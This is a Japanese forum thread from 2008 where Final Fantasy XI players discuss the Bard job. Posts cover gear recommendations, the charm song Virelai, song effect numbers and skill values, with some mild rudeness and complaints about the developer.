【吟遊詩人】♪やっと来た新アビ♪【第九十五楽章】

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1 名前： BT ★ 投稿日：2008/05/29(木) 17:39:53 ID:???: 　　　　　　　　　＼/　ヽ　　　（　）
　　　　　　　　　 _/＊ *`、　　　(　)
　　　　　　　　＜＿＿＿＿フ　　 ( )
　　　　　　　　　从￣ゝﾉ　　　～　発表から実装まで半年かかる■e開発にマーチ♪
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　　　　　　　　　ノ.　ﾉﾉ　|
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Ｔ　　|　　 l,＿,,/＼　,,/l　　|
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　■【吟遊詩人】♪魔法命中の効果は秘密？♪【第九十四楽章】
　http://yy28.60.kg/test/read.cgi/ff11jobjobplus/1204616435/

　■吟遊詩人テンプレサイト（質問等がある場合はまずここで過去ログを検索！）
　http://bdbk.s41.xrea.com/
※■eへの意見、要望、クレクレはこちらへ(｀･ω･´ )ﾉｼ　詩人をマモレ※
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　■次スレは>>950がスレ立て依頼すること！950が逃げた場合は臨機応変に…。

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2 名前： 名も無き軍師 投稿日：2008/05/29(木) 17:58:41 ID:j8tlOIdB: いち・・・おつ
3 名前： 名も無き軍師 投稿日：2008/05/29(木) 17:59:13 ID:oMPpiwqc: 課長、2げとーしますた　　　　　　　　　　　　　　　　　　　　　　　　頼むから仕事してくれ。
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　＿　∧∧　 .!|＼＿_＼ .r──‐､　　　　　　　　　 f'ゝ､￣`.､　　　　∧＿∧
　||l　(,,ﾟДﾟ)　 ||/ !　i　　|.|.　　　　|.￣￣//.|　　　| ヾ.,,f￣￣i:.￣＼. （´∀｀　）､
　||ｌ::/　つつ,ヾ＼|__.i___/ L..f^i　__j 　　//　|　　　| 　＼rヾ三三i 　⊂ ⊂　　）:I
　Ｌ二／⊂～ヾ;' !i'￣￣ﾞ||ヽ.───//ｉ　 |　　　|:.　　　ヾ.三三r､---､＼　 | |
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4 名前： 名も無き軍師 投稿日：2008/05/29(木) 18:00:35 ID:oMPpiwqc: 3だったorz
詩人の単体歌の新アビでマチメヌしつつ暗黒さんにピンでマーチが主流になるのだろうか。
5 名前： 名も無き軍師 投稿日：2008/05/29(木) 19:12:40 ID:ZPS7rseE: 単体歌なんか歌ってる暇あったら次釣って＾＾；
6 名前： 名も無き軍師 投稿日：2008/05/29(木) 20:08:23 ID:Xl6ABrZ7: ピンでメヌエットの方が現実的になりますよ！
7 名前： 名も無き軍師 投稿日：2008/05/29(木) 22:04:24 ID:qif0jHWO: 惰性で詩人あげてきたけど、さすがに装備がしょぼくて恥ずかしくなってきた。
とはいえ先立つものもないんだよな。

安くても、コレイイって装備なんかないかな？
8 名前： 名も無き軍師 投稿日：2008/05/29(木) 22:16:18 ID:npWm+D3Z: シャイル胴除けば
安いのかExアイテムしかないのに何を言っているんだ？
9 名前： 名も無き軍師 投稿日：2008/05/29(木) 22:18:02 ID:qif0jHWO: シャイルクラッコー５０万を高いといったらだめですか。そうですかorz.
10 名前： 名も無き軍師 投稿日：2008/05/29(木) 22:28:31 ID:nz45/PMc: シャイル足50万って凄いな。
それはともかくナイズル通ってゴリ足取れ。
11 名前： 名も無き軍師 投稿日：2008/05/29(木) 22:36:24 ID:npWm+D3Z: シャイル足は確かに高い
そういうときはダンスシューズのノーマルでガマンするだな
12 名前： 名も無き軍師 投稿日：2008/05/29(木) 22:53:02 ID:NI0L3aw2: >>7
そもそも何持ってるのかもレベル帯も分からんことには答えようが無い。
とはいえ装備羅列されてもウザイので質問を工夫してくれ。
13 名前： 名も無き軍師 投稿日：2008/05/30(金) 01:59:18 ID:GxYp68nN: >>4
あと侍にもだね。メヌ歌ってもあんまし伸びないらしいし。
というか暗黒の4分毎にってのはまためんどくさいな。
暗黒＜詩人さんマチよろｗ　とかいちいち言われたらウザいかも知れん…
かといってこっちでデスペのリキャ管理するのもなぁ…
14 名前： 名も無き軍師 投稿日：2008/05/30(金) 02:05:46 ID:aoVWqJqn: 暗/詩で下位マーチを自己詠唱で解決
で、でたー歌唱スキル+8してない詩人75持ちじゃない暗黒スレ
でもネ実に立てて来るんだ
15 名前： 名も無き軍師 投稿日：2008/05/30(金) 03:33:35 ID:Aci8Bp/Y: シャイル足は地味にオリハルコン使うからなぁ・・・
16 名前： 名も無き軍師 投稿日：2008/05/30(金) 08:26:25 ID:a6WGiBQB: uchino鯖で凄い値上がりしてるわ、、、
そろそろ装備できるんだけど高いうえに出品もない(´・ω・`)
17 名前： 名も無き軍師 投稿日：2008/05/30(金) 14:19:10 ID:/oe3kbfl: 猿頭でオリハルコンの需要大きいから仕方ない
74のステ指輪もそうだけどな
職人に知り合い居るなら、会議は踊るで取ってきて
合成依頼でも汁
18 名前： 名も無き軍師 投稿日：2008/05/30(金) 15:00:58 ID:J9N+zNGQ: >>7です。
結局、こーなりました。

武：属性杖
手：Bストラップ
投：楽器
頭：デーモンヘルム+1
首：ウィンドトルク
耳：ミュージックピアス
耳：メロディピアス　→　いずれシンギングピアス
胴：イギト　→　いずれシャイル
手：シャイル
指：エンジェル
指：エンジェル
背：ジェスターケープ+1
腰：グリーマンベルト
脚：シャイル
足：ダンスシューズ　→　いずれゴリアード

リンバス活動してたのが地味に助かった。
19 名前： 名も無き軍師 投稿日：2008/05/30(金) 16:25:51 ID:ZwbOhice: 鯖にもよるだろうけどシャイル足ってそんな値上がってるのか。
2ヶ月前に13万で買ったなあ。
20 名前： 名も無き軍師 投稿日：2008/05/30(金) 16:47:06 ID:whWz083o: リンバスやってるならまずＡＦ手を打ち直すべきなんじゃないのか？
21 名前： 名も無き軍師 投稿日：2008/05/30(金) 16:56:59 ID:J9N+zNGQ: やってたのは昔で、いまはやってないんだ。そのときは詩人を上げることになるなんて考えてもなかった。
古銭が残ってただけ。
22 名前： 名も無き軍師 投稿日：2008/05/30(金) 17:19:35 ID:ZwbOhice: 着替えしない事が前提の話なら個人的に胴はエラント、手と脚はAF、かな。
レジとか特に問題ないなら何でもいいと思うけど。
23 名前： 名も無き軍師 投稿日：2008/05/30(金) 19:11:55 ID:cgSuDAq7: 魔法の整理してたら乙女のヴィルレーっていう歌が出てきたんだ。
これ魅了させる歌だよね。
サルタのマンドラ魅了して時間はかってみたら効果時間30秒でリキャスト1分だった。
せっかくの面白い効果の歌だし、これをなんとかうまいこと使った戦術ってできないかな?
コリブリメリポで釣ってきてララキープする時、代わりに魅了しとけば攻撃してくれて便利とか･･･
サポ獣で操るミスった時に代わりに使えるとか・・・できないかな！？
24 名前： 名も無き軍師 投稿日：2008/05/30(金) 19:22:07 ID:9buEByg8: >>23
コリブリをヴィルレーで釣ると、反射されて自分が魅了されて味方を攻撃することになるｗ
ネタには最適な釣り歌
25 名前： 名も無き軍師 投稿日：2008/05/30(金) 19:30:02 ID:wxDDxHcW: >>23
フェローとかと同じく、自分が抜刀して殴らないと敵を殴ってくれない。
何もしなければ後を付いてくるだけなのでキープにならない。
サポ獣は無いのでしらん。
26 名前： 名も無き軍師 投稿日：2008/05/30(金) 19:38:33 ID:zdU1HkmE: >>23
ヴィルレーしたあと倒しても
経験値０なんだぜ。
チェーン数のつなぎにはなるが。
27 名前： 名も無き軍師 投稿日：2008/05/30(金) 23:33:02 ID:0pH8uwYj: ヴィルレーは抜刀なんてしなくていいぜ

エインヘリヤルいくとき、いつも鳥をヴィルレーしてる
インプ無視して突撃すれば、召喚獣みたいに自動的にインプを迎撃する
28 名前： 名も無き軍師 投稿日：2008/05/31(土) 06:34:00 ID:oxiozwMu: とてをヴィルレーして敵に攻撃させると経験値がほとんどなくなる上に、効果時間３０秒程度？
んで、その後詩人を攻撃始めるわリキャ間に合わないわ
使いにくすぎ
29 名前： 名も無き軍師 投稿日：2008/05/31(土) 06:45:48 ID:wOXlqK7S: 謎歌ｳﾞｨﾙﾚﾀﾝの素敵なところ

・レジの有無に関わらずリキャ回しが不可能な時間設定になってる
・効果時間の短さのせいで数発の援助をもらって終わり、あとは二人からﾌﾙﾎﾞｯｺ
・歌をかけた時点で経験値は全額没収ート
・この仕様で「工夫すれば使い道あるんだけどなあ・・・」と開発は言う。

（；＾ω＾）
30 名前： 名も無き軍師 投稿日：2008/05/31(土) 07:06:07 ID:NoSwH4VN: >>27
目から鱗
今日から先生って呼ばせていただきます
31 名前： 名も無き軍師 投稿日：2008/05/31(土) 10:11:18 ID:Mu4C8YQ+: というか・・・つまり役に立つ状況をあげられないってことでしょ・・・
エインヘリヤルいくときだけか　＞＜
32 名前： 名も無き軍師 投稿日：2008/05/31(土) 19:15:38 ID:rc1nQ9Om: ソロってる時に不意に絡まれたらヴィルレーしてログアウト
とか思ったけど寝かしたほうがいいよなｗ
33 名前： 名も無き軍師 投稿日：2008/05/31(土) 19:33:57 ID:aEFwiFSP: とてとて相手でも操れるのなら、詩人2でそこそこ面白い事ができるかもしれないな
34 名前： 名も無き軍師 投稿日：2008/06/01(日) 02:51:14 ID:s+gYVGYB: 詩人て強化もらえるとしたら妄想具体案あるの？
35 名前： 名も無き軍師 投稿日：2008/06/01(日) 04:31:28 ID:rpfIaZuf: 地獄のエレジーでますます様ジョブに。
今のイージーモードが、ビギナーモードになるくらいデカイからな～。
現状、詩人なしメリポなんてやってられんだろ？
36 名前： 名も無き軍師 投稿日：2008/06/01(日) 10:47:34 ID:GvFrvg9F: スタンさせる敵歌がほしいな。
37 名前： 名も無き軍師 投稿日：2008/06/01(日) 11:22:14 ID:UQVe3fTr: 範囲グラビデ歌（鉛の歌）
ヴィルレーで操った敵を自主的に攻撃させる方法
ヴィルレーの時間を1分に
ヒムヌスは経験値100％バックもしくは衰弱時間短縮とか

まあメリポ以外の要素だな。
38 名前： 名も無き軍師 投稿日：2008/06/01(日) 12:09:41 ID:SD8tMgIf: 今後歌が追加されたとしてもピーアンの上位が関の山だな
39 名前： 名も無き軍師 投稿日：2008/06/01(日) 13:43:15 ID:vnRHvGqj: ゴリ足手に入れて
喜んでたら

見た目の悪さに萎えた

カウンターパンチ喰らった感じだぜ
40 名前： 名も無き軍師 投稿日：2008/06/01(日) 13:44:09 ID:kRjEw+h6: あの硬そうなのが好きな俺に謝れ。
…うん、まぁ楽器は演奏できなさそうなんだが。
41 名前： 名も無き軍師 投稿日：2008/06/01(日) 15:19:07 ID:vnRHvGqj: ごめんなさい
42 名前： 名も無き軍師 投稿日：2008/06/01(日) 17:43:18 ID:kR0fa8jx: グラビデの歌があれば、ＮＭ戦でもさらに活躍出来るな。

・・・赤いれば、不要か。
43 名前： 名も無き軍師 投稿日：2008/06/02(月) 00:21:55 ID:0RMbxclA: グラビデ歌ときたら、さらにバインド歌も欲しいところだが・・・
まずくれないか・・・
44 名前： 名も無き軍師 投稿日：2008/06/02(月) 00:31:49 ID:4+/RCeX6: サンダガIII歌とか、ケアルV歌とか、レイズIII歌とかも実装すればいいんじゃないかな。
45 名前： 名も無き軍師 投稿日：2008/06/02(月) 00:50:13 ID:4eYo3xIX: 妄想してるうちが一番楽しいよな
46 名前： 名も無き軍師 投稿日：2008/06/02(月) 01:12:07 ID:HtKSItom: カロルとか謎の属性耐性歌とかは12曲の歌枠じゃなくて魔法バリアみたいな
扱いにしてくれんかね。
47 名前： 名も無き軍師 投稿日：2008/06/02(月) 03:09:13 ID:WdW+uBJg: 重なっててリンク確実な芋のうちの一匹をヴィルレーで魅了してキャンプ地へ
キャンプ着く頃には魅了解けててリンク無しで釣れてウマー

…ってあれ、魅了したペットのHP減って無くても
魅了切れ後に倒した時経験値無くなってたっけか
記憶が曖昧で寂しいログイン出来てない詩人のチラシの裏
48 名前： 名も無き軍師 投稿日：2008/06/02(月) 08:58:03 ID:mfLtC5z6: リキャストは4分でいいから、
ヴィルレーの効果時間を2分にしてほしいよな
49 名前： 名も無き軍師 投稿日：2008/06/02(月) 10:52:32 ID:HtKSItom: 効果時間もそうだが、歌なんだから獣人とかアンデットとか何でも
操れるようにしてくれんかね。
50 名前： 名も無き軍師 投稿日：2008/06/02(月) 18:53:14 ID:Sfp3MYU7: カロルを白のメリポバファイラみたいな
ダメージカットに変更してほしいかな

それでも使われる率はひくいが
51 名前： 名も無き軍師 投稿日：2008/06/02(月) 19:54:10 ID:DozUmvbA: >>49
そういう面白そうな仕様は敵のみに実装
プレイヤーが便利なんて冷たい感じがするじゃないですか＾＾；
とゴミが本気で考えてるからワロス
52 名前： 名も無き軍師 投稿日：2008/06/02(月) 20:56:02 ID:y1h0FdWB: マズルカ上位のとんずら歌が欲しいな。
リキャ長めの単体歌でもいいから。
53 名前： 名も無き軍師 投稿日：2008/06/02(月) 21:26:43 ID:4XRvl0U5: 実際完成されたジョブと思われてもしょうがないけどね
例えばアタッカーならなんかのジョブ強いから他もって比較できるけど
他に並ぶジョブがないからしょうがない、コルセアは微妙にちがうし・・
ただ赤黒詩の完成されたジョブのなかで赤だけまだいじるのかとは思うがｗ
54 名前： 名も無き軍師 投稿日：2008/06/02(月) 21:33:32 ID:XsmIEn5N: マズルカの速度は今のまんまで良いが
何よりエリア制限をとっとと撤廃すべきだろう
どこもかしこも効果無しって、なめとんのか
55 名前： 名も無き軍師 投稿日：2008/06/02(月) 21:44:05 ID:7r+SWHpK: こんばんは
56 名前： 名も無き軍師 投稿日：2008/06/02(月) 22:54:52 ID:heiNiJmP: チョコボジグもあるしダンジョンでも使えるようにすべきｄな
57 名前： 名も無き軍師 投稿日：2008/06/03(火) 01:02:54 ID:NE8IEe2Y: おはよっす
58 名前： 名も無き軍師 投稿日：2008/06/03(火) 11:40:24 ID:bXB03nFn: ダッシューズと効果重複させてもっと速くしてほしいな。
59 名前： 名も無き軍師 投稿日：2008/06/03(火) 18:47:59 ID:1vV3+8po: 試したことないけど重複するんでない?
60 名前： 名も無き軍師 投稿日：2008/06/03(火) 20:41:22 ID:3fiM6jeE: するけどエンチャントの時点で
61 名前： 名も無き軍師 投稿日：2008/06/03(火) 20:43:34 ID:bXB03nFn: アイコンは重複するけどスピードはほとんど速くならない。
厳密に比較してないから微妙な差はあるのかもしれないけど、
少なくとも忍者AF＋ダッシューズみたいな感じの重複にはなってない。
62 名前： 名も無き軍師 投稿日：2008/06/03(火) 21:17:22 ID:3a66bFSp: ダッシューズ＋ラプトルマズルカ＝ダッシューズ＋チョコボマズルカ＝チョコボマズルカ
だよ

なんかキャップ値みたいなのがあるっぽい
63 名前： 名も無き軍師 投稿日：2008/06/03(火) 22:32:08 ID:3R2C56m8: ラプトルのマズルカがスキルでダンジョンにも効果アリになるとかならねーかな

ならねーな・・
64 名前： 名も無き軍師 投稿日：2008/06/04(水) 15:16:44 ID:0tswy1Mk: かきこみてすと
65 名前： 名も無き軍師 投稿日：2008/06/04(水) 15:22:07 ID:0tswy1Mk: 初めまして。現在詩人をあげている者ですが、
装備アドバイスいただけますか？よろしくねっ

杖：アポロ　テラ　グリップHPMP+10のやつ
頭：トランプクラウン
首：バードホイッスル
耳：不眠のピアス、リレピ
胴：連邦軍師コート
手：バトルグローブ
指：CHR+2、エーテルリング
背：ジェスター+1
腰：コルセット
脚：AF
足：種族（みすら）
66 名前： 名も無き軍師 投稿日：2008/06/04(水) 15:26:45 ID:MGCeDh8L: それでおｋ
67 名前： 名も無き軍師 投稿日：2008/06/04(水) 15:34:55 ID:xzECTX8J: レベル帯すら書けないアホは何着てても同じだから
その装備のまんまで良いよ
素晴らしい装備だ、すげーすげー
68 名前： 名も無き軍師 投稿日：2008/06/04(水) 19:34:48 ID:ShfKO2mw: 56～58ってとこだな

足と胴をコブラに買えろ
としかいえん
69 名前： 名も無き軍師 投稿日：2008/06/04(水) 20:23:47 ID:kB2Jd0D4: たいかんｗでは分かっていたが数字として計算できるんだな

340 ：名も無き軍師：08/06/04 16:23:56 ID:09XYcJij
>>322
ベーンは詠唱短縮装備が整っていない人にはオススメかも。
理由は皆さんが書き込んでいる通りの理由だけど。

胴足指耳の各種詠唱短縮装備があり、常時発動できる状態ならば、
ベーン釣り+投擲モーションと、エレジー釣り+反射での差はほとんどないです。

各種ベーンの隔は294、遠隔攻撃開始から命中判定まで約2.9秒の硬直が必要。
一方、エレジーはキャスト開始から硬直解除までは約1.6秒で済み、
コリブリのオウム返しのキャストは1秒で詠唱後の硬直はありませんので、
合計すると約2.6秒となります。

遠隔攻撃開始から硬直解除までの時間(秒) ＝隔294 / 60 x 約0.6
＝2.94(秒)

詩の詠唱開始から硬直解除までの時間(秒) ＝基本キャスト時間2 x 約1.4 x 0.58(短縮装備)
＝1.624(秒)
70 名前： 名も無き軍師 投稿日：2008/06/05(木) 03:17:45 ID:IIM8YYPl: 遠隔釣りは射程外に逃げられてもnpなのが一番の利点だね。
エレジーで釣って射程外のためって出たときのストレスは異常。
71 名前： 名も無き軍師 投稿日：2008/06/05(木) 03:35:18 ID:4hur8HzP: ちなみに投擲スキルを青にしておけばちょっと当たる
おなつよぐらいでも２，３ダメ与えられるぜ
72 名前： 名も無き軍師 投稿日：2008/06/05(木) 03:44:40 ID:IIM8YYPl: >>71
与TPやヘイト量考えると当たんないほうがいい気もするｗ

そうそう、挑発少ないPTに入っちゃったときとかは、全部遠隔で釣るとタゲはがれやすくてお勧めっすよ。
暗戦とか一撃重たいジョブなら殴るだけでいけたりする。
エレジーは起こされた後入れればオッケ。
73 名前： 65 投稿日：2008/06/05(木) 13:04:15 ID:9Az8cVJH: レスありがとう
書き忘れましたがlv56でした。

56-75で手と脚はAFだとして首はトルクあたりなのでしょうが、頭は王冠を取ったほうが良いでしょうか？他にもオススメ装備ありましたら教えてください
74 名前： 名も無き軍師 投稿日：2008/06/05(木) 14:02:53 ID:vb7NyS4A: 詩人の装備はなんでもいい
属性杖と各種楽器さえ揃えてれば文句言う人いないよ
75 名前： 名も無き軍師 投稿日：2008/06/05(木) 15:02:32 ID:hzekEh0L: >>73
王冠はどっちでも良いと思うよ
見た目を嫌がる人多いけど、買える装備ならデモヘルだろうな
最終装備なら、マルドゥクか毒キノコ
76 名前： 65 投稿日：2008/06/05(木) 15:14:03 ID:9Az8cVJH: >>75
デモヘルかぁー。確かに見た目が…！

ちょっと大変そうですがオポオポしてきます！

毒キノコは裏に通ってないので、ティアラはちょっと金かかりそうですがどうにかしたいとおもいます！
77 名前： 名も無き軍師 投稿日：2008/06/05(木) 16:04:40 ID:YGZ6Df8X: クズエニ社員は、社チョーも問題にするくらいの自己中軍団だからなｗ

自己満足ばかりしてないで、客の望むものを追加しろよｗ
78 名前： 名も無き軍師 投稿日：2008/06/05(木) 16:17:35 ID:PRdp8HoR: >65
手：バトグロかよ・・・と思ったが
そういえば手はAFまでろくなのなかったね
ずっと朔の腕輪つかってたのを思い出した
いまならコブラカフスなんかね
俺ならAFまで引っ張るけど
79 名前： 名も無き軍師 投稿日：2008/06/05(木) 16:39:13 ID:RWnIzVmz: 手はAFまではMP用に種族篭手付けてたな。ヴァーンだけど
80 名前： 名も無き軍師 投稿日：2008/06/05(木) 20:02:31 ID:iFy3yskZ: オポオポは食事パママ固定になる(パママ切れるとCHR-7だし)ので
トランプつけてるんなら、トゥーナスシ食う手もあるね。
81 名前： 名も無き軍師 投稿日：2008/06/05(木) 23:50:44 ID:wsLbGJ7Y: 同じくＡＦまでは種族手だな（ミスラ）

しかし、コブラ手もありな気がしてきた
足と胴がコブラだし
82 名前： 名も無き軍師 投稿日：2008/06/06(金) 09:20:17 ID:LpHaLvep: サイコガン撃つんですね！
83 名前： 名も無き軍師 投稿日：2008/06/06(金) 10:49:00 ID:SEpqREEH: ゴリ足取ろうと２０層、野良に乗りまくってるけど
ゴリ足だけやけに競争率たかいな…。
84 名前： 名も無き軍師 投稿日：2008/06/06(金) 11:00:03 ID:ZG0b3QSE: もうこりゴリ
85 名前： 名も無き軍師 投稿日：2008/06/06(金) 11:15:45 ID:446AzkOF: 歌の効果がが量的に今一歩よくわからないのだ。
よく使う歌でメヌあたりは装備欄見れば出てくる。バラももわかる。
前衛当ってなさそうならマドいれて、好み聞いてマチいれて、NMのとき請われればマンボ入れる。
これらは当然の知識なのか？
「よし！詩人極めよう」と思い立っていきなりつまづいたは。
まとめサイトとかないのかねぇ。
86 名前： 名も無き軍師 投稿日：2008/06/06(金) 11:21:52 ID:Ovu7Wan6: >>85
色々なジョブやってみなよ
何を求めているか分かるぜ
87 名前： 名も無き軍師 投稿日：2008/06/06(金) 11:28:28 ID:CgD5DjK+: >>85
極めようっつか普通に考えるままに動けば良いだけかと
当たってなけりゃ当てられるようにする
ダメショボイなら攻撃力を上げてみる
一撃必殺の相手ならとにかく避けられるようにする

パターンはあれど１００％そうしなければいけない！訳じゃないしな
それとサイトを見ていきなり理解するのも難しいだろ
知識だけ詰め込んで理解した！と思い込むより実際に動いてなれるべし
88 名前： 名も無き軍師 投稿日：2008/06/06(金) 11:52:03 ID:446AzkOF: わるい、書き方変だったな。
当然の知識の指すところは「歌の効果が量的に今一歩わからない」
立ち回りは3行目のようにしているが、果たして自分はどの程度貢献しているか疑問になったのよ
例えば後衛詩詩赤とかでメリポいくじゃない？そのとき自分は（詩）は詩で有る必要があるのか。
カスでも前衛の方が良いのではないか？
コルセアまだ上げてないけどコの方がいいのでは？。
最近では学の範囲エンとかも良いらしいし。
ナイズルとかいくとみんな歌聴かずに走っていっちゃうし。
LSの赤さんがジュワたこ沸いたから手伝ってって言われて走ってたらもう終わってるしｗｗ
まあ、そんな訳で詩人極めて（極め切れんと思うがｗ）自己満足の世界にでも入るかと思った次第だ。
それで数値的目標がほしいなと思ったんだ。
89 名前： 名も無き軍師 投稿日：2008/06/06(金) 12:54:39 ID:rfDn6RSZ: マドの命中上昇やマーチのヘイスト値あたりまでは定量化を
試みた検証があるが、特にまとめてあるサイトは知らん。
ちょっと調べれば大体の値はわかるし。

回避というパラメータはきわめて検証が難しい。
マンボの本格的な検証は見たことがない。

つうか
> ナイズルとかいくとみんな歌聴かずに走っていっちゃうし。
こんなんで「自分が貢献しているか疑問」とか思うなら、
やっぱり数値データを詰め込むより立ち回りを知ったほうがいいよ。
90 名前： 名も無き軍師 投稿日：2008/06/06(金) 14:47:37 ID:Ovu7Wan6: >>89
ナイズルはそんなもんだｗ
俺の場合、タイミング見計らってバラード、マーチ歌ってあとは釣りに走ってるな
ザックリ言って
魔道士のバラードII：バミクロ×２の効果
栄光の凱旋マーチ：ワラタ×２の効果
ほれ、装備でこれだけのもん揃えるの大変だろ？
それに状態異常、寝かせ、回復してやれば、十分貢献してるだろｗ
91 名前： 名も無き軍師 投稿日：2008/06/06(金) 15:14:14 ID:asTchR/n: >>88
歌の効果と他の要素に関しては状況を想定して計算してみるしかないだろうなぁ
時給が頭打ちしやすいタンジャナの場合
後衛は赤詩コの方が時給としてはいい場合が多いし
ナイズルについては歌を素直に聞く状況を作るしかない
簡単にいえばキープを増やすことだな
ぶっちゃけ釣りが間に合わないなら歌わなくていいってのが俺の結論
92 名前： 名も無き軍師 投稿日：2008/06/06(金) 16:53:46 ID:77LmSPFl: >>88
何でもいいから前衛やって詩人をＰＴにさそってみ

量的にいくら役立ってるっつーのがたいかんｗできるから
93 名前： 名も無き軍師 投稿日：2008/06/06(金) 18:07:50 ID:cYi9+Wg6: たいかんｗじゃなくて数値的に知りたいんだろ。
感覚派には理論派の思考は理解できんのかねぇ。

マーチの効果：
無敵の進撃マーチはヘイスト効果上限10％、栄光の凱旋マーチは上限12.5％だが
一般的な75詩人（スキル500無いくらい）だと11％前後
マドの効果：
剣闘士のマドリガルは命中＋１５～２５くらい？
剣豪は２０～くらいだったように思う。忘れた。
剣豪覚えた直後は剣闘士のほうが効果上だったりするんだっけか。
マンボの効果：
よく知らないけどおそらくマドと同じくらいの数値の回避アップ効果。

うーん、あいまいだが詳しく知ってる人いたら補足よろしく。
94 名前： 名も無き軍師 投稿日：2008/06/06(金) 19:19:55 ID:rfDn6RSZ: クレクレするだけで自分で調べない奴の思考は理解できんわ。

>>1のテンプレサイト、内容は更新されてないがログ倉庫は
ちゃんと蓄積されてるし検索もそこそこ便利だ。

「マド命中検証」「マーチスキル検証」あたりで検索して
新しめのレスを数個クリックするだけですむと思うぞ。

とりあえずマドは七十四楽章の 528
マーチは九十一楽章の 300 あたりから多数
95 名前： 名も無き軍師 投稿日：2008/06/06(金) 20:31:39 ID:DWIRQnqQ: ナイズルで俺の歌をきけ～ぼぇ～　ってケースは、殲滅、特殲、ヘッド。
特殲・ヘッドはタイミングあるはず。Imp、場合によってカエルは殲滅級かもだが。

殲滅は、開始時、人より先に走って、発見マクロかねた釣り。で敵前で前衛歌。
自分の周りで戦闘はじめさせちゃえば、勝手に歌にかかってくれる。
同じ部屋に敵いなけりゃ釣りに、いたら２曲目くらいかける余裕はあるね。
あとは、釣って戻るたびに機会をうかがうくらいか。

前衛が強めだな、って思ったら歌そこそこで釣り優先したほうがいいと思う。
釣り師でいいじゃまいか。
96 名前： 名も無き軍師 投稿日：2008/06/06(金) 20:39:50 ID:DWIRQnqQ: 詩人の歌は２曲(メヌやマチ)で前衛能力３割増しくらいって考えとけばおｋ
前衛3人にかける効果で0.9人分なら、エレジーで1人分の戦力としては
おつりが来るんじゃないか。それ以上は立ち回りだな。
97 名前： 名も無き軍師 投稿日：2008/06/06(金) 23:52:04 ID:77LmSPFl: んで結局
>>88の欲しい数値的目標って何だ？
ＣＨＲのブースト値か？管楽器や歌唱スキルか？

何を以って詩人を「極める」気なんだ？
98 名前： 名も無き軍師 投稿日：2008/06/07(土) 02:59:54 ID:yOpZrbWF: 支援系で極める→ギャッラル＋スキル553以上
殴りで極める→マンダウ+ヘイスト装備＋前衛系+短剣メリポmax
99 名前： 88 投稿日：2008/06/07(土) 06:43:38 ID:vFY5ECtq: 色々レスありがとう。
>>93栄光はスキル依存で上限12.5いくのか。今度のBAの様子見ながらスキル振り替えてみるか。色々数値感謝！
>>97うむ、極めるために何が必要なのかわからんのだよ。取り合えず歌の効果見直して、どういうときにマチマチがよくてどんなときマチメヌするかはたまたメヌメヌか
そんなとこから始めて、CHRとスキルのバランスはどのくらいがいいのか決められればなと思ってる。
やっていくうちに何か見えてくればいいなと。
100 名前： 名も無き軍師 投稿日：2008/06/07(土) 09:11:18 ID:vmJwwmCL: 歌の効果について知りたかったら、遠回りに見えるかもしれないけれど
他ジョブをやって自分が歌を貰う立場になると確実に実感できるよ。
自分は忍者をやっていて詩人の偉大さを改めて知った。

エレジーもメヌもマーチもマンボも歌うだけの立場だとイマイチ目に見えなかったから、いい勉強になったよ！
101 名前： 名も無き軍師 投稿日：2008/06/07(土) 10:47:43 ID:a8ZwZWfK: >>100
実感したわけじゃなくて、数値が知りたいって話だろ。
102 名前： 名も無き軍師 投稿日：2008/06/07(土) 12:41:27 ID:oTLV0zqg: 以前フレから
LV75～マーチも歌唱スキルで効果が変わると言われたので

マーチのことをサイトで調べたんだけど
メヌのことは載ってても
マーチが歌唱スキルで変わるなんて記事が見つかりません

歌唱スキルでアップするんでしょうか？
103 名前： 名も無き軍師 投稿日：2008/06/07(土) 12:43:47 ID:a8ZwZWfK: >>102
>>94
104 名前： 名も無き軍師 投稿日：2008/06/07(土) 14:01:53 ID:yHRaB0ki: >>102
ここに詳しく載ってる
http://wikiwiki.jp/ff11sig/?%A5%D8%A5%A4%A5%B9%A5%C8

歌唱スキルというか合計値らしいが
105 名前： 名も無き軍師 投稿日：2008/06/07(土) 15:20:34 ID:yOpZrbWF: ギャッラル＋メリポmaxにマルとかそろえてる詩人と
スキル500の詩人のマーチの差は1%なのか
これを大きいと見るか小さいと見るか、どうだろうなぁ
106 名前： 名も無き軍師 投稿日：2008/06/07(土) 17:42:09 ID:oTLV0zqg: >>103 >>104
ありがとう
すごく参考になりました。
マーチは敷居高いですね

詩人が75になり出番が増えたので色々調べてるとこでした

とはいえ赤黒75なので
弱体精霊に振ってしまい
現在スキルが
歌+管で483なので
エレジー用に振り直そうかと悩んでる最中です

うーん
どっちを下げるべきか。。
107 名前： 名も無き軍師 投稿日：2008/06/07(土) 18:47:17 ID:L45fW9LG: 誤差としか思えないようなマーチの差のために、スキル装備で鞄を圧迫したり
メリポを振る気はないなあ。ギャッラルはあるけどさ。
108 名前： 名も無き軍師 投稿日：2008/06/07(土) 19:18:16 ID:jt9KYJVe: ギャッラルあるならもう他のジョブで呼ばれないから
スキルふっちゃえよｗｗｗｗｗｗｗ
他のジョブの装備処分しちゃえよｗｗｗｗｗｗ
109 名前： 名も無き軍師 投稿日：2008/06/07(土) 19:25:16 ID:wcajJneX: ギャッラルあるのに赤でばかり呼ばれる俺様に謝罪すべき
110 名前： 名も無き軍師 投稿日：2008/06/07(土) 19:59:42 ID:yOpZrbWF: ギャッラルあるけど560までの調節はしてないな
ネレイド2個いるし、CHキャニオンズ+1これだけのために作らないといかんからな
111 名前： 名も無き軍師 投稿日：2008/06/07(土) 20:00:54 ID:KkzEOonY: >>109
・他にもギャッラル持ちがいる
・有用なジョブが詩人のみの問題児がいる

はい、次。
112 名前： 名も無き軍師 投稿日：2008/06/07(土) 20:29:33 ID:wcajJneX: >>111
・他にもギャッラル持ちがいる→いない
・有用なジョブが詩人のみの問題児がいる→いない

じゃあ、次。
113 名前： 名も無き軍師 投稿日：2008/06/07(土) 22:03:01 ID:yOpZrbWF: MP回復装備もMP増やす手段も多いし
ファイフもあるし、皆ヒーリングするタイミングが上手くなってきてるから
MPカツカツの状況ってほとんどないんだよね
ギャッラルに夢みるのはいいけど、サルベやリンバスやナイズルでMP枯れた経験少ないっしょ
114 名前： 名も無き軍師 投稿日：2008/06/07(土) 23:35:21 ID:a8ZwZWfK: MP枯れるくらい使うのもそれなりの腕がいるからな。
ギャッラル持っててもMP使うほうが潤沢なMPを持て余すようじゃ本当の力は発揮されていないんだよ。
115 名前： 名も無き軍師 投稿日：2008/06/08(日) 07:56:37 ID:EJ5FDzfl: バラはケチりすぎだよな
後衛５人にバラバラかけて自ら回復役になうより、６人目に赤かある程度ＨＭＰ高い白でも入れて回復させるほうがＭＰ効率がいい。

